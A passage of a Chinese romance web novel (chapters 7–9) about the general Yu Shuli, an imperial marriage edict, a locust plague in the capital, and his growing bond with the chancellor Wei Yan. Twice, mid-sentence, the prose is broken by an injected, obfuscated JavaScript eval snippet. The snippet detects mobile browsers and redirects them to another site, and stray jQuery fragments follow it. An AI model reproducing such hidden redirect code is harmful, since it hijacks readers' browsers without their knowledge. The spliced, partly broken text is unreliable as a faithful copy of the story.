赵武帝眸色深了些,挥手屏退了下属,然后倾身朝贤妃身上摸去。 就这样在宫殿内办起事来。 不多时,屋内响起暧昧的声响。 声响结束的很快,贤妃将那空白的圣旨从地上捡起来。“陛下,封赏宴被那俞书礼阴差阳错躲过,现在他落了水,留在宫里,何不早点堵了那二人的后路,直接将您的封赏发下去?” 赵武帝沉思片刻,笑了笑:“爱妃,还是你懂朕!” 他接过那空白的圣旨,干脆拿过纸笔,借着酒意,写下了对俞书礼的封赏。 包括金银财宝和袭爵,自然也包括魏延和俞书礼的婚约。 片刻后,那玉玺盖下,一切尘埃落定。 贤妃的笑意终于到了眼底,她歪过去,扑在皇帝身上,娇嗔道:“陛下,春宵苦短,快疼疼臣妾吧,别忙公事了……” 赵武帝一笑,揽住她往床边去,又伏在她身上:“你这个小妖精……等着,朕来了!” 7. 不对劲 封赏越过还在皇宫养病的俞书礼,直接送到了将军府。 俞华信接到圣旨,气的半夜睡不着,爬起来倒拔了五棵腊梅树。 早上被不知情的老管家骂了一个时辰,口口声声都是缺德的小崽子。 缺德的老崽子俞华信摸了摸鼻子,不敢吭声。 “你说这魏延,是不是有什么毛病?陛下给他和男人赐婚,他也能应?”俞华信坐在桌边,对着自己的发妻吐槽。 俞书礼的娘郑施意一边翻着话本,嗑着瓜子,一边指挥下人把那些封赏都收起来,妥善保管安置,登记入册。 她倒是不急:“你都说了,陛下赐婚,他一个丞相有什么办法?” “不是一人之下万人之上吗?不是陛下眼前的红人吗?这赐个婚罢了,他去陛下面前美言几句,说不想娶个男人,人陛下还能不给他个面子?”俞华信头脑一根筋,越想越不明白。 “所以你不适合在宫里搞权谋,”郑施意道:“就凭你这个脑子,在宫里就活不了两集。” “什么两集?”俞华信一把扯掉她翻着的话本:“诶呀,你现在还有闲心看这些腻腻歪歪的儿女情长,你儿子都要当人家媳妇儿啦!” 郑施意瞪了俞华信一眼,把话本抢回来。“什么叫闲心?我这叫知己知彼。”她扬了扬手中的话本:“这几集可是最新出炉的《权臣计》,是时下最流行的话本,是你那位小婿督办的呢。我先知己知彼,咱们才能百战百胜。” “什么玩意儿?怎么就小婿了?我可不认他这个婿。”俞华信凑到她眼前,跟着看了几眼,一下子瞪大了眼睛:“怎么是男的和男的谈情说爱?!” 郑施意白了他一眼,推开他:“诶呀,你不懂,现在就流行这个。” “我不懂?我怎么就不懂了?”俞华信蹭过去:“你说这魏延让人写这种东西,这不是误人子弟吗?” 郑施意“切”了一声:“这你就不知道了吧,京中贵妇圈子里,很多看这个的。没有了传宗接代的借口,还能彼此相爱,难道不令人敬佩吗?” “我不懂你说的这个。不过我没有只图传宗接代啊,儿子不是你要生的吗?”俞华信摸了摸头,有些小心翼翼地发问:“你是对我不满意?” “呆子,你想什么呢?”郑施意笑了笑:“我只是随便看看,顺便学习下。将来若是魏延对咱们季安不好,就拿这书怼他。” 俞华信“啊”了一声,“你还真接受儿子嫁他啊?” “嫁给魏延有什么不好?模样好,地位高,这些年,他待你儿子什么样,你儿子待他什么样?这你也不是没瞧过。那日他背季安回来,你不是还千恩万谢的,转头就变脸啊?” “可……可……”俞华信可了半天,可不出个所以然,又想说魏延不能生孩子,又怕被夫人骂他只想着传宗接代。 闷了半天,只好继续进宫,去接俞书礼回家,顺便给儿子上眼药。 两人没有坐马车,只是牵着马一路走。 俞华信絮絮叨叨地说了半天,又给俞书礼解释了一遍皇帝赐婚的事情,结果发现跟在身边的好儿子心不在焉。 “你娘说,让你嫁给那魏延也没事,我说这不是闹嘛,他一个男人……”俞华信推了推俞书礼:“怎么了?” “没事……”俞书礼摇了摇头。 “你还是想不起来?”俞华信挠了挠头:“爹问过杨太医了,他说你再将养两日,多回顾回顾,说不准就能想起来这两年的事情。” 俞书礼“嗯”了一声,隔了许久,突然问道:“爹,你说,魏延会死吗?” 两人出宫的时候,魏延还没清醒过来。 俞书礼病愈,没有理由再多留,只能留下了几个自己人,看护着魏延。 “这……”俞华信支吾了两声:“这……爹也不是太医,我哪里知道。” “爹……魏延说,我和他私定终身了。”俞书礼转眸看向自己的父亲,平静地问:“是真的吗?” “啊?!”俞华信听了吓了一跳,猛地大喊一声:“你和他私定终身了?!” 他的嗓门太大,导致路人纷纷看过来,好奇地打量着。 俞书礼一把捂住自家老爹的嘴,耳根微微发红:“你轻声点行不行?” 俞华信猛地点头,俞书礼才将他松开。 两人走到路边角落,俞华信小心翼翼开口问:“你和他私定终身了?什么时候?” 俞书礼白了他一眼,“我哪里知道?!” “对哦,你失忆了。”俞华信闷声道。 俞书礼:“我是要问你,我和他的关系,在你们眼中到了什么程度,有没有私定终身的可能。” 俞华信诚实开口:“嗯……说起来,前几日你在青楼喝醉酒,是他背你回来的。” 俞书礼愕然,下意识忽略了青楼,只道:“他那个身板,把我背回去?” “你别说,魏延这人,虽然看着冷冰冰的,对你倒是确实算温柔。那日他背你回来,你拽着人家衣领不放,他也一丝不耐也没有,还打了水帮你擦脸,又端醒酒茶给你喝的。”俞华信突然“嘶”了一声:“难道那个时候你们就搞上了?” “爹,什么叫搞上了,你话别说那么难听……”俞书礼慢吞吞问:“那……那我对他呢?有什么特别的吗?” “唔……”俞华信老脸一红:“你……叫他哥哥来着……” 俞书礼不再发问了,步伐加快了些,汗毛直立地逃离现场。 回到家见到之后,他就开始手忙脚乱收拾行李。 毕竟原来不仅是魏延和他自己私定了终身,连皇帝都对他们的婚事掺和了一脚。 俞书礼下意识觉得不对劲,只想着要跑路。 “去哪里?” 俞书礼回头,却见自己的亲娘郑施意倚在门框边上看他。 “娘……”俞书礼慌不择路的模样终于在见到娘亲那一刻缓和了下来。 “收拾东西要跑路?”郑施意弯了弯眼睛:“不着急的话,和娘去看看你收到的封赏?” “看什么啊……我不看。”俞书礼撇了撇嘴:“我回渠州去了。” 渠州是俞书礼的兵营驻扎地,渠州牧董凌青的小儿子董思文是俞书礼的好友,所以没有战事的时候,俞书礼基本上就住在渠州,也算是安了第二个家。 “这就想跑了?”俞书礼见母亲走进来,摸了摸自己的头。 “陛下给你和魏延下了婚约,圣旨就在娘手里,你要看看吗?” 俞书礼沉默片刻,无可奈何地叹了口气:“看吧。” 圣旨和以往收到的那些款式没什么不同。 先是对俞书礼的表功,接着在一堆金银封赏之后,就是将多年前尘封的爵位重启。 只是俞书礼看着圣旨上明晃晃的“安王”两个字,眼神有瞬间的恍惚。 一字王。 皇帝对他,怎么突然放松了戒心了? 自从俞华信告老卸任之后,整个俞家曾经一度落寞,直到后来俞书礼上了前线,闯出了一番成绩,俞家境遇才好了起来。 随之而来的就是皇帝日复一日、愈演愈烈的猜忌。 而封爵的消息一旦出来,俞家,即将再次踏入权势的顶峰。 “这圣旨,还有下半部分呢。”郑施意提醒道,“快看看。” 俞书礼读过去,发现是皇帝在感慨他和魏延的感情至深,堪称良配,胡言乱语地敷衍了一通,然后表示赐婚的意愿。 俞书礼知道,这圣旨都到了他手中了,就不仅仅是意愿,而是必须执行了。 “同样的一份,今日也送到丞相府中了。听说吴夫人也欢喜地接了过去,在着手准备聘礼了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961462|161061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”郑施意站直了身子,低声问:“可以告诉母亲吗?你同魏延,究竟是真情还是假意?” 看着母亲小心翼翼、贼眉鼠眼的试探,俞书礼摇了摇头,只觉得心中烦躁的很。“我不知道。我都不记得了,父亲没同您说吗?” “啊?”郑施意眨了眨眼睛:“我当你骗他们来着,竟然是真的失忆?!那你还记得娘亲吗?” “记得……”俞书礼阖起圣旨:“我又不是傻子……怎么会认不得你?” “那你又说失忆了……”郑施意的表情有些无辜。 俞书礼愣了愣:“我只是……唯独好像……丢失了近三年的记忆,而这丢失的记忆里,似乎魏延占了很大一部分,所以我现在……很乱,说不清楚……” 郑施意抱住他,摸了摸他的头:“没事……你要是真不想嫁,娘来帮你想办法。” 俞书礼自然知道她说的想办法是什么。 “娘,这些年已经麻烦过祖父他们很多了,算了。再说了,祖父他们住的颇远,要写信上奏之类的实在麻烦。” 郑太傅一生清正,临到告老还乡都是清清白白一身,没必要让他趟了这浑水。纵使知道陛下不会不给他面子,但俞书礼就是下意识觉得,不能让祖父牵扯进来。 “你舅舅他们早就搬到了凉州附近,离咱们这里也就一点点路程。” “搬迁?”俞书礼皱了皱眉:“为何突然搬迁?” “说是雍州那一带前月闹虫灾,漫天飞舞的虫子实在难熬,所以他们才搬了过来。”郑施意见儿子皱着眉,忙问:“怎么了?有何不妥吗?” “有说是什么虫子吗?” “没说……”郑施意蹙了蹙眉:“很重要吗?” 俞书礼点头,拿出一幅地图,摊开指给母亲看:“雍州往上京这里,经过几个大州,中间这一带,刚闹过干旱。入秋之后,河道断流……”他顿了顿:“如果不出我所料,那闹的虫害,就是蝗虫。” 郑施意捂住嘴,睁大眼睛:“你是说……” 俞书礼面色严肃:“不错,若是顺着秋风迁徙,沿途的环境都是他们的温床。我猜……京中马上也要闹虫灾了。” 似乎想到了什么,他紧皱着眉头,快步离开。 郑施意在背后问:“去哪儿啊?” “去分兵加强守卫巡逻,流民即将来袭,到时候,若是处置不善,京中将会沦为炼狱。” 郑施意看着儿子着急地离开,知道他回渠州的计划是搁置了。 俞华信恰在这时走进来,只瞥到一眼儿子的背影,他看向夫人,问道:“这臭小子,出什么事情了,这么着急?” 郑施意把地图指给他看,解释了郑太傅信中说的情况,道:“儿子说,京中可能马上要闹灾了。” 俞华信立马沉下了脸色。“竟有此事。” 郑施意见他忧虑重重,安慰道:“放心,我治府向来有存粮的习惯,就算闹了灾害,咱们好好地稳住,总能熬到这个冬天。” 等到了冬天,大部分的蝗虫就会死亡,只要把虫卵处理掉,就没事了。 本也就不是什么大事。 “虫害不仅会导致粮食进不来……”俞华信瞥了她一眼,道:“还有药材。” 郑施意一顿。 “你是说……儿子那么急是因为……” 因为魏延。 魏延的身体原因,根本不可能能顶住断药的风险。而他的许多用药,用的都是珍惜药材,很多京城都寻不到的。一旦闹了灾害,药材万一断了,魏延就是死路一条。 “季安他……”俞华信欲言又止。 “到了现在,你还是不同意他们的婚事吗?”郑施意问。 “我……我哪里说过不同意?”俞华信终于不再说什么,冷“哼”了一声,转身就走:“我去帮帮那臭小子。” 8. 闹虫灾 灾害来的很快。 即使俞书礼早有准备,也抵不住蝗虫如此迅速地卷携着大批量的流民涌入京城。 一向热闹繁华的京城闹街沉寂了下来,饶是秦楼楚馆都不敢轻易接客。整座城池被阴霾笼罩,茶馆酒肆也都早早打烊了。 紧闭的门户外是飞扑的蝗虫,门户内是一声声无助的心焦呐喊和求助。 蝗虫对人的伤害不大,但折损的是人们赖以为生的庄稼。故而那些乡下农户才会无处可去,来京城报冤。 奈何这种灾情,怎么可能能传到上头去呢? 京城的百姓富户偏多,这些人不仅不知柴米油盐贵,有些连蝗虫都没见过。 他们见了飞虫和流民,只当是天灾降临,大祸临头,一心就要离开去避难。 狡兔三窟,这些人在整个大梁,可不止一个去处。 而城内的禁卫军基本也都是尊贵出身,基本也没见过这种阵仗。 禁卫军统领上报上去的消息被上头扣下,死活到不到皇帝的手里,又没有新的指令下达,禁卫军统领优柔寡断,愈发管不住疯狂逃窜的人群。 空气中除了那些蝗虫的恶臭味,还弥漫着一种难以名状的压抑与沉重。 人群是匆忙紧张的,秩序是逐渐崩塌的。 城外的流民多的是农户,他们损失了农田,才生活不下去,这些失去所有的农户一旦进京,就铁定免不了一场抢夺和掠杀。 城门一旦被拱开,想要跑出去的,和想要拥堵进来的,内外人流一对冲,京城将会一起沦陷在灾难里。 到那时,禁卫军都会成为摆设。 收到城内禁卫军求救的通报之后,俞书礼阴沉着脸出门,身着甲胄提着刀剑带上护卫沿街巡逻,既下令管控城内秩序,又命人把那些飞舞的蝗虫拿网补下扑杀,顺便派人去皇城附近巡逻,阻止蝗虫飞入皇宫。 城门摇摇欲坠,可俞书礼会管理将士,却不会管理平民大众。 他可以责罚任何一个士兵,但无法对任何一个老百姓动粗。 低劝诱哄,才把那些街上躁乱的百姓驱逐回家,一回头,又有一大批正偷偷地打算溜走的,城门都被掀开了个道。 要不是俞书礼反应及时,怕是连城门都被他们轰穿了。 盛怒之下,俞书礼直接将禁卫军统领罢黜,自己带着西北军,站上了城楼,收回柔怀政策,以军规镇压。 幸好,在京接受封赏的西北军全营驻扎在城外,这才管控好了秩序,不至于给京城添乱。 “小将军……北边来的难民已经安置好了,不过出了些特殊状况……”俞书礼的近卫十三闯进来,还未见到人,就焦急地开口。 却在见到趴在桌案上的人的时候,瞬间愣住。 俞书礼已经三日没归过家,自然也是三日三夜没有睡过。 今天处理完手边信报之后,就直接趴在军营桌子上,无意识地睡着了。 十三抿了抿唇,刚要退出去的时候,却发现俞书礼已经醒了。 “什么事?”他一抬起头,眼中就收起了所有的疲倦,“我都听到了,说吧,特殊状况是什么?” 十三这才道:“有几人途中感染了风寒,这几日开始发起高热了。” 俞书礼拧了拧眉:“让钟年派人将这几人隔离开,立刻寻大夫过去。” 十三欲言又止:“寻了……但这京城的大夫都是过惯了好日子的,一点苦也不愿意吃,听说去流民营,他们本就对那些流民有敌意,一个个都不愿意动弹。” “有提出多给赏银吗?” “钟副将提了,但人家有的是钱,不乐意跑这一趟,受这趟罪。再说……”十三抿了抿唇,小心翼翼看向自家将军:“已经有人在传,他们这些人感染的是瘟疫了。” “胡扯。”俞书礼本就睡眠不足的脸上戾气横生。“大夫的事情你别管了,交给我,我会解决。你去给我查传播流言的人,查出来,给我重打三十大板。” 军营的三十大板和衙门的三十大板可不一样,那可是要人命的。 十三不敢不听军令,但到底有些犹豫:“小将军,论理,这事是不由咱们管的。如今我们管就管了,再动用私刑,稽刑司那边……” 俞书礼已经知道这稽刑司目前是魏延在管,他呼吸滞了滞,这才想起来自从上次看望魏延,已经又过去了好几日。 他离开的时候,魏延还没有清醒,这几日留下的下属回话只说他醒了,后续他实在事务繁忙,拿回来的关于魏延的情报也没时间拆开看。 胸口有些滞闷,俞书礼干脆起身:“我知道了,我出去一趟,让钟年先顶着,你也帮我盯着些,回来我会给你方案。” “属下明白。” 来到丞相府,附近的蝗虫已经被扑灭的差不多了。看到府内外下人游刃有余、平静依然的样子,俞书礼微微松了口气。 看来魏延没事。 他踏步上前,正要出声拜访,门童已经眼尖地迎了上来。 少年大约十五六岁的年纪,一双眼睛亮晶晶的,黑色的眸子眨了眨,盯着俞书礼瞧了半天,笑着道:“您就是俞小将军吧?” “你认识我?”俞书礼有些意外。 “嗯嗯。”少年点了点头:“丞相吩咐过,长的最好看的那位将军一定就是您了。”他侧身迎俞书礼进门,态度殷勤。 少年边走边说道:“丞相说了,您来的话,不用汇报,直接带您进去就是。” 俞书礼有些羞赧:“我来也没什么特别的事情,就是来看看他。” “知道的……知道的。”少年揶揄地笑了笑:“将来这里就是您自己的家,您随意些就是。” 俞书礼闷咳了几声,一张俊脸被呛的通红。 正要解释,谁知进了门,少年跑的飞快,俞书礼根本没有开口的机会。 “您在园中逛逛,我去告诉大人您来了,他肯定高兴……” “这小子……”俞书礼失笑了一声,倒真的停了脚步,在丞相府前院逛了起来。 园中的下人们各自做着自己的事情,对于俞书礼的到来有好奇,但没有无礼地一直盯着他打量。 俞书礼自己是个随遇而安的性子,也见惯了世面,并不在意他们的目光。料想他们是见了他身上的甲胄,所以才好奇他的身份罢了。 他走着走着走到了对面的亭子里。 秋风习习,院内没有池塘,只是在亭子周围种满了红枫,脚踩着柔软的树叶,看着满园灼红,俞书礼只觉得如踏在火红色的云端。 大约是魏延常来的缘故,亭中放着长椅和小毯。 俞书礼走过去,缓缓在长椅上坐下,捡起小毯的时候,还能闻到一股苦涩的药香味。 这几日他几乎未睡,闻到熟悉的味道的时候,几乎产生了一股雏鸟情节,浑身的疲劳席卷而来。 俞书礼下意识窝进长椅之中,慢悠悠闭上了眼。 等他再次醒来的时候,感觉到脸侧痒痒的,伸手挠了挠却被人一把抓住。 男人略有些低沉性感的声音在他的耳侧响起:“睡够了吗?天都黑了,小瞌睡虫。” 俞书礼朦胧地睁开眼,正好对上魏延微弯的眼睛。 他下意识叫了一声:“魏延?”似乎在思考他怎么会出现在自己眼前。 魏延十分体贴帮他回忆:“忘了?你自己跑来找我,结果在我府上睡着了……” 俞书礼有些不好意思地眨眨眼:“好像……是有这回事……” 魏延在他身边坐下,没让他起身,还替他盖好了小毯:“最近很累么?” 俞书礼不知道魏延对外面的情况知晓与否,他思忖片刻,还是决定瞒着他,便道:“还好。” 魏延的笑容变淡了些:“既然还好,小将军怎么日日不回府?” 俞书礼支吾了两声,答不上来。 魏延的语气更冷了些,似乎还带了些酸气:“莫非小将军又跑去青楼消遣了么?” 俞书礼瞪大了眼睛。 青楼? 他怎么可能会去那种地方? 然而匆忙的摇头并没有得到魏延的认可。 他凑了过来,漫不经心地用手指搭上俞书礼的肩膀,然后微微往上移,落到俞书礼的侧脸上。 俞书礼对上魏延端详的目光,不自觉就心跳加速。 他吞了吞口水,下意识问道:“干……干嘛凑这么近?” “看看你有没有在撒谎骗我。”魏延用力地蹭了蹭俞书礼有些微凉的脸。 “这也能看出来有没有说谎?” “嗯。” “那你说我撒谎了吗?” “这次应该是没有。”魏延弯了弯眼睛。 “什么叫这次应该没有?我就没逛过青楼。”俞书礼气恼地推开他的手,嘟囔道。 魏延挑了挑眉,没有多加追究。 “来寻我是干嘛?如果是问流民和闹事者的事情,军队镇压,我没有意见,若有不服的,小将军代为刑罚,我也会睁一只眼闭一只眼。”他往俞书礼身边靠了靠,声音有些低。 “你……怎么知道我要问这个?”原来他早就知道了外面蝗灾的事情。 也是……什么事情能瞒住魏延呢。 纵使俞书礼早就安排了人手来丞相府扑杀蝗虫,但恐怕但凡飞入一只,也能被他察觉。 他太聪明了。 看到俞书礼有些懊恼的神情,魏延笑了笑:“不是别人和我通风报信,是我猜到的。那日从皇宫出来,恰好看见了。” “看见什么?” “看见蝗虫……以及,”魏延的声音冷了些:“暴乱。” “京中城守不放人进来,禁卫军被城中百姓裹挟开城门,一些流民当场被撞死在了城门口。” 俞书礼一滞。 “与小将军无关,我知道不是你下的令。”魏延安慰他:“这几日京中安稳许多,巡守井然有序, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961463|161061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想必是小将军接手了。” 俞书礼点了点头:“但……”他也是第一回处理这种事情,如今头上还挂了个异姓王的头衔,不知道有多少双眼睛盯着,俞书礼生怕哪里出错。 他早就将此事上报,但皇帝只是做做表面工夫关心一下,见他接管了,便干脆坐在皇宫里高枕无忧,美其名曰相信他的能力。 每日宫里还有专人扑杀那些蝗虫,皇帝自然是一只都看不到的,更别提让他关心百姓。 于是城守携带着京城群众傲慢自私,失去农田的流民流离失所。 俞书礼必须站出来管。 见俞书礼有些恍然的样子,魏延低头揽住他。“别怕,你做的很棒。” 温热的气息扑在耳侧,俞书礼整个人烧成了热炭。 这些日子,他夜日继日,忙的焦头烂额,也不过就是想听到百姓称赞一句“做的很棒”罢了。 但是总有人闹事,总有人不配合,骂也骂了,打也打了,管还是管不住。 “去做你想做的事情吧,放心,我给你兜着底。” 俞书礼羞赧地推开魏延,闷闷地“嗯”了一声,抬眸:“魏延……” “嗯?” “你为什么对我这么好呀?” 魏延低笑:“这就叫对你好啦?” “嗯。” “以后只会对你更好。” “是因为……婚约吗?”俞书礼的声音模模糊糊,有些犹豫。 “以前没有婚约的时候,我待你不好?”魏延挑眉:“这么没良心啊。” “不是……”俞书礼羞红着脸,猛地站起身:“可……可那个时候……那个时候不一样的!” 魏延接住他身上滑落下来的毯子,将其放回长椅上。 “你在紧张什么?有什么不一样的?嗯?”魏延干脆走到了他身边。 缓缓下沉的夜色将至,俞书礼被魏延逼在亭中一侧,万籁俱寂,只剩下彼此交叠的呼吸声。 正当俞书礼以为要发生些什么的时候,魏延骤然将眼前的空间让开。 “夜深了,回去吧。” 俞书礼:? 魏延轻笑:“怎么?你以为我要干什么?” 俞书礼气的咬牙:“我没以为!” “这几日,你太累了,我不忍心折腾你。”魏延眼尾还有一些笑痕:“你来看我,我已经很高兴了。” 说起看他,俞书礼才想起来,他本来的目的好像确乎是看望魏延来着,结果不知怎么的就睡着了…… 俞书礼轻咳一声,掩饰内心心虚,凑近了些,打量魏延的脸色:“你……好些了吗?” “多亏杨太医,”魏延目光清澈:“当然,也要多谢小将军,让我又捡回了一条命。” 俞书礼这才注意到,他身上的大氅又厚重了些。 俞书礼愈加歉疚:“是我在这睡太久,你在外头看顾我,夜间又凉,是不该久留。” 魏延低声咳了几句,摇了摇头:“小将军事务繁忙,忘了某也是应该的。能抽空来瞧上某一眼,某已经十分感激了。” 俞书礼皱了皱眉:“魏延,我怎么觉得你的语气阴阳怪气的……” 他想了想,道:“那往后我每日都来看你,你只要不嫌我烦就行。” 魏延耳根红了些:“当然不嫌。” 俞书礼嘟囔了一句:“其实每日上朝都能见的……” 魏延道:“近日陛下允我养病,不用上朝。” 俞书礼只得乖巧点头:“行吧,行吧,我知道了。我来就是。” “嗯。”魏延这才弯了眼睛:“我让门童楚开给你留着门,你什么时辰来都行。” 俞书礼脖子红了些。 越听这话越觉得过界。 什么叫留着门,什么时辰来都行。听起来就不是很正经。 俞书礼“额”了一声:“你这样说……感觉……有些像偷情?” “偷什么情?你我是光明正大!”魏延黑着一张脸送了俞书礼离开,转头从暗处叫了人过来:“吩咐下去,那些大夫不愿意去城外诊治的,就把他们底子查一查,有问题的抓进去几日就老实了。再寻人翻耕劣田,同时看看附近农户有没有养鸡鸭的,问他们收购些,都放出去。” “是。” “附近城关扑杀蝗虫的人都到位了吗?” “到位了。” “嗯,别让蝗虫再外溢到其他地方去了。” 魏延轻咳了一声,想了想,又从胸口掏出一份名单,递过去:“给小将军送去,这些人底下庄子不少,遍布大梁各地,足以安置流民了,让小将军自己去分配就是。” 听了这么久的下属终于忍不住开口:“大人……您对小将军这样好,为什么不告诉他呢?” 魏延的声音淡淡:“这种事情,我知道就好,告诉他作甚?” “可是……”下属欲言又止。可是不说,他怎么知道您这样在意他呢? 9. 送礼物 虫灾的应对还算及时,所幸没有酿成大患。 俞书礼再闲下来一些的时候,已经入了冬。 这日中午,他照例下了值之后去丞相府报道,门口名叫楚开的小童见他过来就跑来相迎:“小将军!” 虽然热情,倒是没像往日一样,恨不得把他往里拽。 俞书礼“嗯”了一声,看向楚开,问:“魏延回来了吗?” 这段时间,魏延开始正常上朝。俞书礼先前在朝堂上打量过他的脸色,实在算不上养好了病的样子。 但蝗灾的事情,造成的损失还是太大,户部一通盘算都没盘算明白,皇帝焦头烂额之余,还是把病床上的魏延薅了起来,回到内阁帮他处理后续事宜。 太子党跃跃欲试,试图在这件事情上为太子争取机会,想着后面再揽个功,所以没少进言献策。 但魏延面对那些殷勤的讨好和试探都不动声色,不仅没让太子独揽,还将无所事事整日游手好闲的三皇子也算了进去。 朝中众臣分不清魏延的想法,皇帝倒是没什么意见,只说让太子和三皇子跟着魏延好好干。 俞书礼对于党派的问题,试探过魏延的想法,但魏延当时只是意味深长地看了俞书礼一眼,然后转口问他二皇子什么时候从南疆回来。 俞书礼瞬间闭口不谈了。 魏延笑笑,不作他语。 两人也就心照不宣,各有各有的小秘密。 二皇子在南疆赈灾,俞书礼书信告诉他自己失忆的事情,同时也就知道他还要大概三个月才能回来,算算时间,那时恐怕都要初春了。再顺利,恐怕也得等到冬末了。 心知二皇子赶不上这大锅饭了,他不知怎的心里反而松了口气。 “你今日怎么不绑架我了?”俞书礼看到楚开今日畏畏缩缩的样子,不由得有些好笑:“往日里这个时候,你早就将我推进门了。” 楚开嬉笑着,连声说:“不敢对小将军不敬……”然后有些犹豫地硬着头皮带着俞书礼往里走。 “大人回了,正在膳堂等您用饭呢……”楚开回答着俞书礼先前的问题,只是脸色有些古怪:“但今日……夫人和老夫人都回来了。” 魏延父亲早逝,是吴夫人和老夫人一把把他拉扯大的。 分家之前,魏延过的并不好,流言将他和他的母亲分别打击成了克夫克父的丧门星,几个叔伯待他也并不亲善,是后来他考上状元、踏入官场之后,两边的地位才产生了颠倒。 早先的时候,老夫人最宠爱的小儿子早逝,她为了护住魏延和他的寡母,毅然决然从祖宅搬出来,和他们一起住,才算是堵住了外面那些荒唐的嘴。 但在魏延大病一场之后,她就从此信佛,长居在城外明月庵中。 今日是什么日子?老夫人竟然都回来了? 而且先前俞书礼上门找魏延,不知道是刻意还是不经意,从未碰见过吴夫人一次,每次问魏延,他都说他母亲不在家,今日怎么把两尊大佛都凑齐了? 俞书礼脚抠了抠地,头皮发了会儿麻,对着楚开扯出一个僵硬的笑容:“哈哈……我突然想起来家中还有事情,你帮我和魏延说,我改日再来……” 他提步就跑,楚开在背后撵了半天,都没有撵上。 只能边追边大喊:“小将军!您别跑啊!大人还在等您呢!” 俞书礼跑的更快了。 * 屋中,魏延板着脸,被自家娘哄着喝了一晚暖胃汤。 “仙卿,你那个心心念念的小将军,祖母怎么没瞧见?”老夫人精神矍铄,脸上是揶揄的笑容。 “他答应我今日要来的。”魏延看起来平静地端着汤碗,实则心焦的不行。 俞书礼答应的事情,从不食言。 但是现在过了饭点,他还是没有出现。 今日是魏延的生辰,桌上摆好的长寿面已经坨了,吃不了了。 吴夫人挥了挥手,示意下人把饭菜端上来。 魏延闷不做声,只是反思起来:是最近将他逼的太紧了?还是他恢复了记忆? 不好让母亲和祖母久等,他闷闷地咳了几声,最后道:“不等了,开饭。” 见儿子面色不悦,吴夫人还想劝几句,被老夫人眨巴了几下眼睛,劝住了。 “大人……大人……”楚开跑过来,捧着一个小红盒子,气喘吁吁。 魏延猛地把筷子放下,回过头,眸子都是亮的:“可是俞小将军来了?” 楚开有些羞愧地摇了摇头:“小将军先前来过了……是我……”他给自己掌了一嘴:“是我不好,告诉了小将军夫人和老夫人都在的事情,小将军掉头就跑了。” 吴夫人“噗嗤”了一声,笑道:“仙卿,你是怎么同小将军介绍我同你祖母的,竟能将他吓到?” 魏延有些迟疑:“我还没来得及介绍……” 老夫人摇了摇头,恨铁不成钢:“和你那没用的爹一样,当年要不是有我,他也娶不到你母亲。” 吴夫人脸上有些红晕:“娘……说这些。” 老夫人眼尖地看向楚开的手:“你捧着的是什么?” 楚开这才“哦”了一声,反应过来:“啊……对了,这是小将军方才送来的,说是为食言赔礼道歉的。” “快打开看看是什么……”吴夫人赶忙接过,笑着推给魏延。 “我不。”魏延捧着小红盒子,别开脸,脸上不再那么僵硬,反而露出一点羞赧的笑容:“这是给我的,不给你们看。” “谁稀得看,把你稀罕的。”老夫人端起饭碗:“好了,人没来,礼到了,这孙媳妇儿,老婆子满意的很,在我这里算是认下了,吃饭吧。” 吴夫人弯了弯眼睛,也点了点头。 魏延闷声吃着饭,耳根偷偷地红了。 吴夫人看了他一眼,又和老夫人对上视线,眼眶红红的。 多久了,没在这孩子脸上见过这样生动的表情了。 好在……好在俞小将军阴差阳错失忆了,两人重修于好。 ** 俞书礼闷声跑回家,正好赶上他爹和娘二人世界。 俞华信挥手甩开要来蹭饭的儿子,板着脸道:“不是说去魏延家吃?家里没留你的饭,走开走开……” “别这样啊,爹……”俞书礼扑过去:“就吃一口,就给我吃一口……” 郑施意笑了笑,吩咐下人准备碗筷:“家里是缺你的还是少你的了,这样闹?” 俞华信哼了一声,夺过筷子:“不是说家里的饭菜不好吃?现在来掺和你爹娘作甚?” 俞书礼眨了眨眼:“老爹,我什么时候说过家里的饭菜不好吃了?” “孩子他爹,他失忆了。”郑施意戳了戳俞华信,提醒道。 俞华信吃了个闷亏,“哼。” 一家人闹闹哄哄吃完了午饭,俞华信去了书房,郑施意这才觑了瘫坐在椅子上翻肚皮的俞书礼一眼:“怎么今日突然从丞相府回来了?” 俞书礼嗫嚅了一下:“那魏延家人也在家,我过去不方便……” 郑施意听明白了:“你害臊了,所以临阵脱逃了?” 俞书礼一滞,梗着脖子道:“谁说我害臊了?!” “那怎么不敢见吴夫人?” “我……我突然想起来营中还有事情,所以才回来的。” 郑施意看破不说破,推了推窝在躺椅里的俞书礼:“行了行了,你那点小九九,娘还不知道?快该干嘛干嘛去,别在我跟前晃悠。” 俞书礼侧过头,拉住母亲的手:“别呀……娘……” 郑施意嗤笑了一声:“你是想缩在娘这里当个鹌鹑?” “不可以嘛……”俞书礼撇撇嘴,终于实话实说:“我也不知道见他母亲的话,应该以什么身份……太尴尬了。” “季安,就算你们没有婚约,先前也是很要好的朋友,拜访朋友家,需要什么理由吗?”郑施意娓娓道来:“他特地约你今日去,加上他母亲、老夫人都在场,肯定是有特别的事情……你这样公开放鸽子,是不礼貌的。” 俞书礼低下头,有些不好意思地“嗯”了一声,“我后来也觉得不好,补救了礼物送过去。” 郑施意点点头,“那还算 